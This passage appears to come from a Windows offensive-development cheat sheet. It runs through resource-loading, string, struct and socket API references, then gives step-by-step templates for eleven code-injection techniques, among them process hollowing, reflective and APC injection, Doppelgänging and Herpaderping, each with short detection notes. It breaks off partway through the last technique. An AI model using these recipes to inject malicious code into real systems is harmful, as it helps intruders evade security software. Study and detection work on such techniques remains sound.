HGLOBALLoadResource(  [in,optional]HMODULEhModule,// A handle to the module whose executable file contains the resource.  [in]HRSRChResInfo// A handle to the resource to be loaded.);// Retrieves a handle that can be used to obtain a pointer to the first byte of the specified resource in memory.
HGLOBALresHandle=resHandle=LoadResource(NULL,res);

LockResource

LPVOIDLockResource(  [in]HGLOBALhResData// A handle to the resource to be accessed);// Retrieves a pointer to the specified resource in memory.
unsignedchar*payload= (char*)LockResource(resHandle);

SizeofResource

DWORDSizeofResource(  [in,optional]HMODULEhModule,// A handle to the module whose executable file contains the resource  [in]HRSRChResInfo// A handle to the resource. This handle must be created by using FindResource);// Retrieves the size, in bytes, of the specified resource.
unsignedintpayload_len=SizeofResource(NULL,res);

Unicode String Functions

#include<wchar.h>// for wide character string routines

String Length

size_twcslen(constwchar_t*str);// Returns the length of the given wide string.

String Copy

[wcscpy]

wchar_t*wcscpy(wchar_t*dest,constwchar_t*src);// Copies the wide string from src to dest.

[wcsncpy]

wchar_t*wcsncpy(wchar_t*dest,constwchar_t*src,size_tcount);// Copies at most count characters from the wide string src to dest.

String Concatenation

[wcscat]

wchar_t*wcscat(wchar_t*dest,constwchar_t*src);// Appends the wide string src to the end of the wide string dest.

[wcsncat]

wchar_t*wcsncat(wchar_t*dest,constwchar_t*src,size_tcount);// Appends at most count characters from the wide string src to the end of the wide string dest.

String Comparison

[wcscmp]

intwcscmp(constwchar_t*str1,constwchar_t*str2);// Compares two wide strings lexicographically.

[wcsncmp]

intwcsncmp(constwchar_t*str1,constwchar_t*str2,size_tcount);// Compares up to count characters of two wide strings lexicographically.

[_wcsicmp]

int_wcsicmp(constwchar_t*str1,constwchar_t*str2);// Compares two wide strings lexicographically, ignoring case.

[_wcsnicmp]

int_wcsnicmp(constwchar_t*str1,constwchar_t*str2,size_tcount);// Compares up to count characters of two wide strings lexicographically, ignoring case.

String Search

[wcschr]

wchar_t*wcschr(constwchar_t*str,wchar_tc);// Finds the first occurrence of the wide character c in the wide string str.

[wcsrchr]

wchar_t*wcsrchr(constwchar_t*str,wchar_tc);// Finds the last occurrence of the wide character c in the wide string str.

[wcspbrk]

wchar_t*wcspbrk(constwchar_t*str1,constwchar_t*str2);// Finds the first occurrence in the wide string str1 of any character from the wide string str2.

[wcsstr]

wchar_t*wcsstr(constwchar_t*str1,constwchar_t*str2);// Finds the first occurrence of the wide string str2 in the wide string str1.

[wcstok]

wchar_t*wcstok(wchar_t*str,constwchar_t*delimiters);// Splits the wide string str into tokens based on the delimiters.

Character Classification and Conversion

[towupper]

wint_ttowupper(wint_tc);// Converts a wide character to uppercase.

[towlower]

wint_ttowlower(wint_tc);// Converts a wide character to lowercase.

[iswalpha]

intiswalpha(wint_tc);// Checks if the wide character is an alphabetic character.

[iswdigit]

intiswdigit(wint_tc);// Checks if the wide character is a decimal digit.

[iswalnum]

intiswalnum(wint_tc);// Checks if the wide character is an alphanumeric character.

[iswspace]

intiswspace(wint_tc);// Checks if the wide character is a whitespace character.

[iswxdigit]

intiswxdigit(wint_tc);// Checks if the wide character is a valid hexadecimal digit.

Win32 Structs Cheat Sheet

Common Structs

SYSTEM_INFO

#include<sysinfoapi.h>// Contains information about the current computer system, including the architecture and type of the processor, the number of processors, and the page size.typedefstruct_SYSTEM_INFO {union {        DWORD dwOemId;struct {            WORD wProcessorArchitecture;            WORD wReserved;        } DUMMYSTRUCTNAME;    } DUMMYUNIONNAME;    DWORD dwPageSize;    LPVOID lpMinimumApplicationAddress;    LPVOID lpMaximumApplicationAddress;    DWORD_PTR dwActiveProcessorMask;    DWORD dwNumberOfProcessors;    DWORD dwProcessorType;    DWORD dwAllocationGranularity;    WORD wProcessorLevel;    WORD wProcessorRevision;} SYSTEM_INFO;

FILETIME

#include<minwinbase.h>// Represents the number of 100-nanosecond intervals since January 1, 1601 (UTC). Used for file and system time.typedefstruct_FILETIME {    DWORD dwLowDateTime;    DWORD dwHighDateTime;} FILETIME;

STARTUPINFO

#include<processthreadsapi.h>// Specifies the window station, desktop, standard handles, and appearance of the main window for a process at creation time.typedefstruct_STARTUPINFOA {    DWORD  cb;    LPSTR  lpReserved;    LPSTR  lpDesktop;    LPSTR  lpTitle;    DWORD  dwX;    DWORD  dwY;    DWORD  dwXSize;    DWORD  dwYSize;    DWORD  dwXCountChars;    DWORD  dwYCountChars;    DWORD  dwFillAttribute;    DWORD  dwFlags;    WORD   wShowWindow;    WORD   cbReserved2;    LPBYTE lpReserved2;    HANDLE hStdInput;    HANDLE hStdOutput;    HANDLE hStdError;} STARTUPINFOA, *LPSTARTUPINFOA;

PROCESS_INFORMATION

#include<processthreadsapi.h>// Contains information about a newly created process and its primary thread.typedefstruct_PROCESS_INFORMATION {    HANDLE hProcess;    HANDLE hThread;    DWORD  dwProcessId;    DWORD  dwThreadId;} PROCESS_INFORMATION, *LPPROCESS_INFORMATION;

PROCESSENTRY32

#include<tlhelp32.h>typedefstructtagPROCESSENTRY32 {DWORDdwSize;DWORDcntUsage;DWORDth32ProcessID;ULONG_PTRth32DefaultHeapID;DWORDth32ModuleID;DWORDcntThreads;DWORDth32ParentProcessID;LONGpcPriClassBase;DWORDdwFlags;CHARszExeFile[MAX_PATH];}PROCESSENTRY32;

SECURITY_ATTRIBUTES

// Determines whether the handle can be inherited by child processes and specifies a security descriptor for a new object.typedefstruct_SECURITY_ATTRIBUTES {    DWORD  nLength;    LPVOID lpSecurityDescriptor;    BOOL   bInheritHandle;} SECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

OVERLAPPED

#inluce <minwinbase.h>// Contains information used in asynchronous (also known as overlapped) input and output (I/O) operations.typedefstruct_OVERLAPPED {    ULONG_PTR Internal;    ULONG_PTR InternalHigh;union {struct {            DWORD Offset;            DWORD OffsetHigh;        } DUMMYSTRUCTNAME;        PVOID Pointer;    } DUMMYUNIONNAME;    HANDLE hEvent;} OVERLAPPED, *LPOVERLAPPED;

GUID

#include<guiddef.h>// Represents a globally unique identifier (GUID), used to identify objects, interfaces, and other items.typedefstruct_GUID {unsignedlong  Data1;unsignedshort Data2;unsignedshort Data3;unsignedchar  Data4[8];} GUID;

MEMORY_BASIC_INFORMATION

#include<winnt.h>// Contains information about a range of pages in the virtual address space of a process.typedefstruct_MEMORY_BASIC_INFORMATION {    PVOID  BaseAddress;    PVOID  AllocationBase;    DWORD  AllocationProtect;    SIZE_T RegionSize;    DWORD  State;    DWORD  Protect;    DWORD  Type;} MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

SYSTEMTIME

#include<minwinbase.h>// Specifies a date and time, using individual members for the month, day, year, weekday, hour, minute, second, and millisecond.typedefstruct_SYSTEMTIME {    WORD wYear;    WORD wMonth;    WORD wDayOfWeek;    WORD wDay;    WORD wHour;    WORD wMinute;    WORD wSecond;    WORD wMilliseconds;} SYSTEMTIME, *PSYSTEMTIME, *LPSYSTEMTIME;

COORD

// Defines the coordinates of a character cell in a console screen buffer, where the origin (0,0) is at the top-left corner.typedefstruct_COORD {    SHORT X;    SHORT Y;} COORD, *PCOORD;

SMALL_RECT

//  Defines the coordinates of the upper left and lower right corners of a rectangle.typedefstruct_SMALL_RECT {    SHORT Left;    SHORT Top;    SHORT Right;    SHORT Bottom;} SMALL_RECT;

CONSOLE_SCREEN_BUFFER_INFO

// Contains information about a console screen buffer.typedefstruct_CONSOLE_SCREEN_BUFFER_INFO {    COORD      dwSize;    COORD      dwCursorPosition;    WORD       wAttributes;    SMALL_RECT srWindow;    COORD      dwMaximumWindowSize;} CONSOLE_SCREEN_BUFFER_INFO, *PCONSOLE_SCREEN_BUFFER_INFO;

WSADATA

#include<winsock.h>// Contains information about the Windows Sockets implementation.typedefstructWSAData {    WORD           wVersion;    WORD           wHighVersion;unsignedshort iMaxSockets;unsignedshort iMaxUdpDg;char FAR       *lpVendorInfo;char           szDescription[WSADESCRIPTION_LEN+1];char           szSystemStatus[WSASYS_STATUS_LEN+1];} WSADATA, *LPWSADATA;

[CRITICAL_SECTION](struct RTL_CRITICAL_SECTION (nirsoft.net))

// Represents a critical section object, which is used to provide synchronization access to a shared resource.typedefstruct_RTL_CRITICAL_SECTION {    PRTL_CRITICAL_SECTION_DEBUG DebugInfo;    LONG LockCount;    LONG RecursionCount;    HANDLE OwningThread;    HANDLE LockSemaphore;    ULONG_PTR SpinCount;} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION;

WSAPROTOCOL_INFO

#include<winsock2.h>// Contains Windows Sockets protocol information.typedefstruct_WSAPROTOCOL_INFOA {    DWORD          dwServiceFlags1;    DWORD          dwServiceFlags2;    DWORD          dwServiceFlags3;    DWORD          dwServiceFlags4;    DWORD          dwProviderFlags;    GUID           ProviderId;    DWORD          dwCatalogEntryId;    WSAPROTOCOLCHAIN ProtocolChain;int            iVersion;int            iAddressFamily;int            iMaxSockAddr;int            iMinSockAddr;int            iSocketType;int            iProtocol;int            iProtocolMaxOffset;int            iNetworkByteOrder;int            iSecurityScheme;    DWORD          dwMessageSize;    DWORD          dwProviderReserved;    CHAR           szProtocol[WSAPROTOCOL_LEN+1];} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;

MSGHDR

#include<ws2def.h>// Contains message information for use with the `sendmsg` and `recvmsg` functions.typedefstruct_WSAMSG {    LPSOCKADDR       name;    INT              namelen;    LPWSABUF         lpBuffers;    ULONG            dwBufferCount;    WSABUF           Control;    ULONG            dwFlags;} WSAMSG, *PWSAMSG, *LPWSAMSG;

Win32 Sockets Structs Cheat Sheet (winsock.h)

SOCKADDR

// A generic socket address structure used for compatibility with various address families.typedefstructsockaddr {    u_short sa_family;char    sa_data[14];} SOCKADDR, *PSOCKADDR, *LPSOCKADDR;

SOCKADDR_IN

// Represents an IPv4 socket address, containing the IPv4 address, port number, and address family.typedefstructsockaddr_in {short          sin_family;    u_short        sin_port;structin_addr sin_addr;char           sin_zero[8];} SOCKADDR_IN, *PSOCKADDR_IN, *LPSOCKADDR_IN;

LINGER

// Used to set the socket option SO_LINGER, which determines the action taken when unsent data is queued on a socket and a `closesocket` is performed.typedefstructlinger {    u_short l_onoff;    u_short l_linger;} LINGER, *PLINGER, *LPLINGER;

TIMEVAL

// Represents a time interval, used with the `select` function to specify a timeout period.typedefstructtimeval {long tv_sec;long tv_usec;} TIMEVAL, *PTIMEVAL, *LPTIMEVAL;

FD_SET

// Represents a set of sockets used with the `select` function to check for socket events.typedefstructfd_set {    u_int fd_count;    SOCKET fd_array[FD_SETSIZE];} fd_set, *Pfd_set, *LPfd_set;

Win32 Sockets Structs Cheat Sheet (winsock2.h)

IN_ADDR

// Represents an IPv4 address.typedefstructin_addr {union {struct {            u_char s_b1, s_b2, s_b3, s_b4;        } S_un_b;struct {            u_short s_w1, s_w2;        } S_un_w;        u_long S_addr;    } S_un;} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;

Win32 Sockets Structs Cheat Sheet (ws2def.h)

ADDRINFO

#include<ws2def.h>// Contains information about an address for use with the `getaddrinfo` function, and is used to build a linked list of addresses.typedefstructaddrinfoW {int             ai_flags;int             ai_family;int             ai_socktype;int             ai_protocol;size_t          ai_addrlen;    PWSTR           *ai_canonname;structsockaddr *ai_addr;structaddrinfo *ai_next;} ADDRINFOW, *PADDRINFOW;

WSABUF

#include<ws2def.h>// Contains a pointer to a buffer and its length. Used for scatter/gather I/O operations.typedefstruct_WSABUF {    ULONG len;__field_bcount(len) CHAR FAR *buf;} WSABUF, FAR * LPWSABUF;

SOCKADDR_IN6

#include<ws2ipdef.h>// Represents an IPv6 socket address, containing the IPv6 address, port number, flow info, and address family.typedefstructsockaddr_in6 {short          sin6_family;    u_short        sin6_port;    u_long         sin6_flowinfo;structin6_addr sin6_addr;    u_long         sin6_scope_id;} SOCKADDR_IN6, *PSOCKADDR_IN6, *LPSOCKADDR_IN6;

IN6_ADDR

#include<in6addr.h>// Represents an IPv6 address.typedefstructin6_addr {union {        u_char Byte[16];        u_short Word[8];    } u;} IN6_ADDR, *PIN6_ADDR, *LPIN6_ADDR;

Code Injection Techniques

1. DLL Injection

This technique forces a process to load a malicious DLL.

Key APIs:

  • OpenProcess
    HANDLEOpenProcess(DWORDdwDesiredAccess,BOOLbInheritHandle,DWORDdwProcessId);
  • VirtualAllocEx
    LPVOIDVirtualAllocEx(HANDLEhProcess,LPVOIDlpAddress,SIZE_TdwSize,DWORDflAllocationType,DWORDflProtect);
  • WriteProcessMemory
    BOOLWriteProcessMemory(HANDLEhProcess,LPVOIDlpBaseAddress,LPCVOIDlpBuffer,SIZE_TnSize,SIZE_T*lpNumberOfBytesWritten);
  • CreateRemoteThread
    HANDLECreateRemoteThread(HANDLEhProcess,LPSECURITY_ATTRIBUTESlpThreadAttributes,SIZE_TdwStackSize,LPTHREAD_START_ROUTINElpStartAddress,LPVOIDlpParameter,DWORDdwCreationFlags,LPDWORDlpThreadId);
  • GetProcAddress
    FARPROCGetProcAddress(HMODULEhModule,LPCSTRlpProcName);
  • LoadLibrary
    HMODULELoadLibraryA(LPCSTRlpLibFileName);
  • NtCreateThread (Undocumented)
    NTSTATUSNTAPINtCreateThread(OUTPHANDLEThreadHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEProcessHandle,OUTPCLIENT_IDClientId,INPCONTEXTThreadContext,INPINITIAL_TEBInitialTeb,INBOOLEANCreateSuspended);
  • RtlCreateUserThread (Undocumented)
    NTSTATUSNTAPIRtlCreateUserThread(INHANDLEProcessHandle,INPSECURITY_DESCRIPTORSecurityDescriptorOPTIONAL,INBOOLEANCreateSuspended,INULONGStackZeroBits,INOUTPULONGStackReserved,INOUTPULONGStackCommit,INPVOIDStartAddress,INPVOIDStartParameterOPTIONAL,OUTPHANDLEThreadHandle,OUTPCLIENT_IDClientId);

Template:

  1. Open the target process withOpenProcess
  2. Allocate memory in the target process withVirtualAllocEx
  3. Write the DLL path to the allocated memory withWriteProcessMemory
  4. Get the address ofLoadLibraryA usingGetProcAddress
  5. Create a remote thread in the target process withCreateRemoteThread, pointing toLoadLibraryA pass the address ofLoadLibraryA as thelpStartAddress parameter.
  6. (Optional) UseNtCreateThread orRtlCreateUserThread for alternative thread creation methods

Detection and Defense:

  • Monitor for suspicious process access and memory allocation patterns
  • Use application whitelisting to prevent unauthorized DLLs from loading
  • Implement process integrity checks
  • Use tools like Microsoft's Process Monitor to detect DLL injection attempts

2. PE Injection

This technique involves writing and executing malicious code in a remote process or the same process (self-injection).

Key APIs:

  • OpenThread
    HANDLEOpenThread(DWORDdwDesiredAccess,BOOLbInheritHandle,DWORDdwThreadId);
  • SuspendThread
    DWORDSuspendThread(HANDLEhThread);
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • SetThreadContext
    BOOLSetThreadContext(HANDLEhThread,constCONTEXT*lpContext);
  • ResumeThread
    DWORDResumeThread(HANDLEhThread);
  • NtResumeThread (Undocumented)
    NTSTATUSNTAPINtResumeThread(INHANDLEThreadHandle,OUTPULONGPreviousSuspendCountOPTIONAL);

Template:

  1. Open the target thread withOpenThread
  2. Suspend the thread withSuspendThread
  3. Allocate memory in the target process withVirtualAllocEx
  4. Write the malicious code to the allocated memory withWriteProcessMemory
  5. Modify the thread context to point to the injected code withSetThreadContext
  6. Resume the thread withResumeThread orNtResumeThread

Detection and Defense:

  • Monitor for unusual thread suspension and resumption patterns
  • Implement memory integrity checks
  • Use Endpoint Detection and Response (EDR) solutions to detect suspicious memory modifications
  • Employ runtime process memory scanning techniques

3. Reflective Injection

Similar to PE Injection but avoids usingLoadLibrary andCreateRemoteThread. Involves writing a custom loader that can load a DLL from memory without using the standard Windows loader.

Key APIs:

  • CreateFileMapping
    HANDLECreateFileMappingA(HANDLEhFile,LPSECURITY_ATTRIBUTESlpFileMappingAttributes,DWORDflProtect,DWORDdwMaximumSizeHigh,DWORDdwMaximumSizeLow,LPCSTRlpName);
  • MapViewOfFile
    LPVOIDMapViewOfFile(HANDLEhFileMappingObject,DWORDdwDesiredAccess,DWORDdwFileOffsetHigh,DWORDdwFileOffsetLow,SIZE_TdwNumberOfBytesToMap);
  • OpenProcess (see above)
  • memcpy
    void*memcpy(void*dest,constvoid*src,size_tcount);
  • ZwMapViewOfSection (Documented for kernel-mode)
    NTSTATUSZwMapViewOfSection(HANDLESectionHandle,HANDLEProcessHandle,PVOID*BaseAddress,ULONG_PTRZeroBits,SIZE_TCommitSize,PLARGE_INTEGERSectionOffset,PSIZE_TViewSize,SECTION_INHERITInheritDisposition,ULONGAllocationType,ULONGWin32Protect);
  • CreateThread (see CreateRemoteThread above)
  • NtQueueApcThread (Undocumented)
    NTSTATUSNTAPINtQueueApcThread(INHANDLEThreadHandle,INPIO_APC_ROUTINEApcRoutine,INPVOIDApcRoutineContextOPTIONAL,INPIO_STATUS_BLOCKApcStatusBlockOPTIONAL,INULONGApcReservedOPTIONAL);
  • RtlCreateUserThread (see above)

Additional APIs sometimes used:

  • VirtualQueryEx
    SIZE_TVirtualQueryEx(HANDLEhProcess,LPCVOIDlpAddress,PMEMORY_BASIC_INFORMATIONlpBuffer,SIZE_TdwLength);
  • ReadProcessMemory
    BOOLReadProcessMemory(HANDLEhProcess,LPCVOIDlpBaseAddress,LPVOIDlpBuffer,SIZE_TnSize,SIZE_T*lpNumberOfBytesRead);

Template:

  1. Create a file mapping of the DLL withCreateFileMapping
  2. Map a view of the file withMapViewOfFile
  3. Open the target process withOpenProcess
  4. Allocate memory in the target process withVirtualAllocEx
  5. Copy the DLL contents to the allocated memory withWriteProcessMemory
  6. Perform manual loading and relocation of the DLL in the target process
  • Parse the PE headers
  • Allocate memory for each section
  • Copy sections to allocated memory
  • Process the relocation table:
    • Enumerate relocation entries
    • Apply relocations based on the new base address
  • Resolve imports:
    • Walk the import directory
    • For each imported function, resolve its address using GetProcAddress
    • Write the resolved addresses to the IAT
  1. Execute the DLL's entry point using one of the thread creation methods

Detection and Defense:

  • Implement advanced memory scanning techniques to detect injected code
  • Use behavior-based detection to identify suspicious memory allocation patterns
  • Monitor for unusual file mapping operations
  • Employ heuristic-based detection methods to identify reflective loaders

4. APC Injection

This technique allows code execution in a specific thread by attaching to an Asynchronous Procedure Call (APC) queue. Works best with alertable threads (those that call alertable wait functions).

Key APIs:

  • CreateToolhelp32Snapshot
    HANDLECreateToolhelp32Snapshot(DWORDdwFlags,DWORDth32ProcessID);
  • Process32First
    BOOLProcess32First(HANDLEhSnapshot,LPPROCESSENTRY32lppe);
  • Process32Next
    BOOLProcess32Next(HANDLEhSnapshot,LPPROCESSENTRY32lppe);
  • Thread32First
    BOOLThread32First(HANDLEhSnapshot,LPTHREADENTRY32lpte);
  • Thread32Next
    BOOLThread32Next(HANDLEhSnapshot,LPTHREADENTRY32lpte);
  • QueueUserAPC
    DWORDQueueUserAPC(PAPCFUNCpfnAPC,HANDLEhThread,ULONG_PTRdwData);
  • KeInitializeAPC (Kernel-mode, undocumented)
    VOIDKeInitializeApc(PRKAPCApc,PRKTHREADThread,KAPC_ENVIRONMENTEnvironment,PKKERNEL_ROUTINEKernelRoutine,PKRUNDOWN_ROUTINERundownRoutine,PKNORMAL_ROUTINENormalRoutine,KPROCESSOR_MODEProcessorMode,PVOIDNormalContext);

Template:

  1. Create a snapshot of the system processes withCreateToolhelp32Snapshot
  2. Enumerate processes and threads usingProcess32First,Process32Next,Thread32First, andThread32Next
  3. Open the target process withOpenProcess
  4. Allocate memory in the target process withVirtualAllocEx
  5. Write the malicious code to the allocated memory withWriteProcessMemory
  6. Queue an APC to the target thread withQueueUserAPC, pointing to the injected code

Detection and Defense:

  • Monitor for suspicious APC queue operations
  • Implement thread execution monitoring to detect unexpected code execution
  • Use EDR solutions with capabilities to detect APC abuse
  • Employ runtime analysis to identify unusual thread behavior

5. Process Hollowing (Process Replacement)

This technique "drains out" the entire content of a process and inserts malicious content into it.

Key APIs:

  • CreateProcess
    BOOLCreateProcessA(LPCSTRlpApplicationName,LPSTRlpCommandLine,LPSECURITY_ATTRIBUTESlpProcessAttributes,LPSECURITY_ATTRIBUTESlpThreadAttributes,BOOLbInheritHandles,DWORDdwCreationFlags,LPVOIDlpEnvironment,LPCSTRlpCurrentDirectory,LPSTARTUPINFOAlpStartupInfo,LPPROCESS_INFORMATIONlpProcessInformation);
  • NtQueryInformationProcess (Undocumented)
    NTSTATUSNTAPINtQueryInformationProcess(INHANDLEProcessHandle,INPROCESSINFOCLASSProcessInformationClass,OUTPVOIDProcessInformation,INULONGProcessInformationLength,OUTPULONGReturnLengthOPTIONAL);
  • GetModuleHandle
    HMODULEGetModuleHandleA(LPCSTRlpModuleName);
  • ZwUnmapViewOfSection /NtUnmapViewOfSection (Undocumented)
    NTSTATUSNTAPINtUnmapViewOfSection(INHANDLEProcessHandle,INPVOIDBaseAddress);
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • GetThreadContext
    BOOLGetThreadContext(HANDLEhThread,LPCONTEXTlpContext);
  • SetThreadContext (see above)
  • ResumeThread (see above)

Template:

  1. Create a new process in a suspended state usingCreateProcess withCREATE_SUSPENDED flag
  2. Get the process information usingNtQueryInformationProcess
  3. Unmap the original executable from the process usingNtUnmapViewOfSection after unmapping the original executable, adjust the image base address in the PEB (Process Environment Block) to point to the new allocated memory.
  4. Adjust the image base address in the PEB:
  • UseReadProcessMemory to read the PEB
  • Locate theImageBaseAddress field
  • UseWriteProcessMemory to update it with the address of the newly allocated memory
  1. Allocate memory in the target process withVirtualAllocEx
  2. Write the malicious executable to the allocated memory withWriteProcessMemory
  3. Update the thread context to point to the new entry point usingGetThreadContext andSetThreadContext
  4. Resume the main thread of the process withResumeThread

Detection and Defense:

  • Implement process integrity checks to detect hollowed processes
  • Monitor for suspicious process creation patterns, especially with theCREATE_SUSPENDED flag
  • Use memory forensics tools to identify signs of process hollowing
  • Employ behavior-based detection to identify processes with unexpected memory layouts

6. AtomBombing

A variant of APC injection that works by splitting the malicious payload into separate strings and using atoms. this technique relies on the fact that atoms are shared across processes.

Key APIs:

  • OpenThread (see above)
  • GlobalAddAtom
    ATOMGlobalAddAtomA(LPCSTRlpString);
  • GlobalGetAtomName
    UINTGlobalGetAtomNameA(ATOMnAtom,LPSTRlpBuffer,intnSize);
  • QueueUserAPC (see above)
  • NtQueueApcThread (Undocumented, see above)
  • NtSetContextThread (Undocumented)
    NTSTATUSNTAPINtSetContextThread(INHANDLEThreadHandle,INPCONTEXTThreadContext);

Template:

  1. Split the malicious payload into small chunks
  2. For each chunk, useGlobalAddAtom to create a global atom
  3. Open the target thread withOpenThread
  4. Queue an APC to the target thread withQueueUserAPC orNtQueueApcThread
  5. In the APC routine, useGlobalGetAtomName to retrieve the payload chunks
  6. Assemble the payload in the target process memory
  7. Execute the payload usingNtSetContextThread or by queuing another APC

Detection and Defense:

  • Monitor for unusual patterns of atom creation and retrieval
  • Implement behavior-based detection for processes accessing a large number of atoms
  • Use EDR solutions with capabilities to detect AtomBombing techniques
  • Employ runtime analysis to identify suspicious APC usage in combination with atom manipulation

7. Process Doppelgänging

An evolution of Process Hollowing that replaces the image before the process is created. this technique leverages the Windows Transactional NTFS (TxF) to temporarily replace a legitimate file with a malicious one during process creation.

Key APIs:

  • CreateTransaction
    HANDLECreateTransaction(LPSECURITY_ATTRIBUTESlpTransactionAttributes,LPGUIDUOW,DWORDCreateOptions,DWORDIsolationLevel,DWORDIsolationFlags,DWORDTimeout,LPWSTRDescription);
  • CreateFileTransacted
    HANDLECreateFileTransactedA(LPCSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile,HANDLEhTransaction,PUSHORTpusMiniVersion,PVOIDlpExtendedParameter);
  • NtCreateSection (Undocumented)
    NTSTATUSNTAPINtCreateSection(OUTPHANDLESectionHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INPLARGE_INTEGERMaximumSizeOPTIONAL,INULONGSectionPageProtection,INULONGAllocationAttributes,INHANDLEFileHandleOPTIONAL);
  • NtCreateProcessEx (Undocumented)
    NTSTATUSNTAPINtCreateProcessEx(OUTPHANDLEProcessHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEParentProcess,INULONGFlags,INHANDLESectionHandleOPTIONAL,INHANDLEDebugPortOPTIONAL,INHANDLEExceptionPortOPTIONAL,INBOOLEANInJob);
  • NtQueryInformationProcess (Undocumented, see above)
  • NtCreateThreadEx (Undocumented)
    NTSTATUSNTAPINtCreateThreadEx(OUTPHANDLEThreadHandle,INACCESS_MASKDesiredAccess,INPOBJECT_ATTRIBUTESObjectAttributesOPTIONAL,INHANDLEProcessHandle,INPVOIDStartRoutine,INPVOIDArgumentOPTIONAL,INULONGCreateFlags,INSIZE_TZeroBits,INSIZE_TStackSize,INSIZE_TMaximumStackSize,INPPS_ATTRIBUTE_LISTAttributeListOPTIONAL);
  • RollbackTransaction
    BOOLRollbackTransaction(HANDLETransactionHandle);

Template:

  1. Create a transaction usingCreateTransaction
  2. Create a transacted file withCreateFileTransacted
  3. Write the malicious payload to the transacted file
  4. Create a section for the transacted file usingNtCreateSection
  5. Create a process from the section usingNtCreateProcessEx
  6. Create a thread in the new process withNtCreateThreadEx
  7. Rollback the transaction withRollbackTransaction to remove traces of the malicious file

Detection and Defense:

  • Monitor for suspicious transactional NTFS operations
  • Implement file integrity monitoring to detect temporary file replacements
  • Use advanced EDR solutions capable of detecting Process Doppelgänging techniques
  • Employ behavior-based detection to identify processes created from transacted files

8. Process Herpaderping

Similar to Process Doppelgänging, but exploits the order of process creation and security checks. this technique exploits the fact that Windows performs security checks on the executable file before it starts executing the process.

Key APIs:

  • CreateFile
    HANDLECreateFileA(LPCSTRlpFileName,DWORDdwDesiredAccess,DWORDdwShareMode,LPSECURITY_ATTRIBUTESlpSecurityAttributes,DWORDdwCreationDisposition,DWORDdwFlagsAndAttributes,HANDLEhTemplateFile);
  • NtCreateSection (Undocumented, see above)
  • NtCreateProcessEx (Undocumented, see above)
  • NtCreateThreadEx (Undocumented, see above)

Template:

  1. Create a file withCreateFile
  2. Write the malicious payload to the file
  3. Create a section for the file usingNtCreateSection
  4. Overwrite the file content with benign data
  5. Create a process from the section usingNtCreateProcessEx
  6. Create a thread in the new process withNtCreateThreadEx

Detection and Defense:

  • Implement file integrity monitoring to detect rapid changes in executable files
  • Use behavior-based detection to identify processes with mismatched file contents
  • Employ advanced EDR solutions capable of detecting Process Herpaderping techniques
  • Monitor for suspicious patterns of file creation, modification, and process creation

9. Hooking Injection

This technique uses hooking-related functions to inject a malicious DLL. this technique can also be used for API hooking, not just for injection.

Key APIs:

  • SetWindowsHookEx
    HHOOKSetWindowsHookExA(intidHook,HOOKPROClpfn,HINSTANCEhmod,DWORDdwThreadId);
  • PostThreadMessage
    BOOLPostThreadMessageA(DWORDidThread,UINTMsg,WPARAMwParam,LPARAMlParam);

Template:

  1. Create a DLL containing the hook procedure
  2. UseSetWindowsHookEx to set a hook in the target process
  3. Trigger the hook by sending a message withPostThreadMessage

Detection and Defense:

  • Monitor for suspicious usage ofSetWindowsHookEx, especially with global hooks
  • Implement API hooking detection mechanisms
  • Use EDR solutions with capabilities to detect abnormal hook installations
  • Employ behavior-based detection to identify processes with unexpected loaded modules

10. Extra Windows Memory Injection

This technique injects code into a process by using the Extra Windows Memory (EWM), which is appended to the instance of a class during window class registration. less common and might be detected by some security solutions.

Key APIs:

  • FindWindowA
    HWNDFindWindowA(LPCSTRlpClassName,LPCSTRlpWindowName);
  • GetWindowThreadProcessId
    DWORDGetWindowThreadProcessId(HWNDhWnd,LPDWORDlpdwProcessId);
  • OpenProcess (see above)
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • SetWindowLongPtrA
    LONG_PTRSetWindowLongPtrA(HWNDhWnd,intnIndex,LONG_PTRdwNewLong);
  • SendNotifyMessage
    BOOLSendNotifyMessageA(HWNDhWnd,UINTMsg,WPARAMwParam,LPARAMlParam);

Template:

  1. Find the target window withFindWindowA
  2. Get the process ID of the window withGetWindowThreadProcessId
  3. Open the process withOpenProcess
  4. Allocate memory in the target process withVirtualAllocEx
  5. Write the malicious code to the allocated memory withWriteProcessMemory
  6. UseSetWindowLongPtrA to modify the window's extra memory
  7. Trigger the execution withSendNotifyMessage

Detection and Defense:

  • Monitor for suspicious modifications to window properties
  • Implement integrity checks for window class data
  • Use EDR solutions with capabilities to detect EWM manipulation
  • Employ behavior-based detection to identify processes with unexpected changes in window properties

11. Propagate Injection

This technique is used to inject malicious code into processes with medium integrity level, such as explorer.exe. It works by enumerating windows and subclassing them. can be particularly effective for privilege escalation.

Key APIs:

  • EnumWindows
    BOOLEnumWindows(WNDENUMPROClpEnumFunc,LPARAMlParam);
  • EnumChildWindows
    BOOLEnumChildWindows(HWNDhWndParent,WNDENUMPROClpEnumFunc,LPARAMlParam);
  • EnumProps
    intEnumPropsA(HWNDhWnd,PROPENUMPROCAlpEnumFunc);
  • GetProp
    HANDLEGetPropA(HWNDhWnd,LPCSTRlpString);
  • SetWindowSubclass
    BOOLSetWindowSubclass(HWNDhWnd,SUBCLASSPROCpfnSubclass,UINT_PTRuIdSubclass,DWORD_PTRdwRefData);
  • FindWindow (see above)
  • FindWindowEx (see above)
  • GetWindowThreadProcessId (see above)
  • OpenProcess (see above)
  • ReadProcessMemory (see above)
  • VirtualAllocEx (see above)
  • WriteProcessMemory (see above)
  • SetPropA
    BOOLSetPropA(HWNDhWnd,LPCSTRlpString,HANDLEhData);
  • PostMessage
